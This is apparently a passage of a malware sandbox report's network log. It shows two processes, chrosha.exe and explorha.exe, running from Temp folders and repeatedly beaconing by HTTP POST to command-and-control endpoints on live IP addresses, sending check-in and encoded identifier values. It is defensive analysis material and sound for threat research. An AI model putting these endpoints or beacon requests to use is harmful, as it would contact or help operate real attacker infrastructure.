Apr 19, 2024 03:34:54.181164980 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.5	50925	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:53.931996107 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:54.177035093 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.5	50926	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:54.426840067 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:54.676167011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.5	50927	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:54.538641930 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:54.784054041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.5	50929	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:55.036381006 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:55.281267881 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.5	50928	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:55.037976980 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:55.293566942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.5	50930	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:55.539454937 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:55.788157940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.5	50931	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:55.651017904 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:55.895720005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.5	50933	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:56.153461933 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:56.400955915 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.5	50932	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:56.153932095 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:56.409738064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.5	50934	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:56.648047924 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:56.897547960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.5	50935	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:56.773607969 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:57.020893097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.5	50936	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:57.257344007 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:57.501995087 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.5	50937	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:57.277571917 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:57.539215088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.5	50938	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:57.753730059 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:58.001609087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.5	50939	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:57.898870945 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:58.144459009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.5	50940	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:58.364722967 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:58.607431889 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.5	50941	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:58.397710085 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:58.649490118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.5	50942	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:58.859797955 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:34:59.114305973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.5	50943	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:59.013840914 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:59.265852928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.5	50944	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:59.485761881 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:34:59.738560915 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.5	50945	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:59.523258924 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:34:59.774462938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.5	50946	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:34:59.996264935 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:35:00.246011019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.5	50947	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:35:00.134497881 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:35:00.379399061 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:35:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
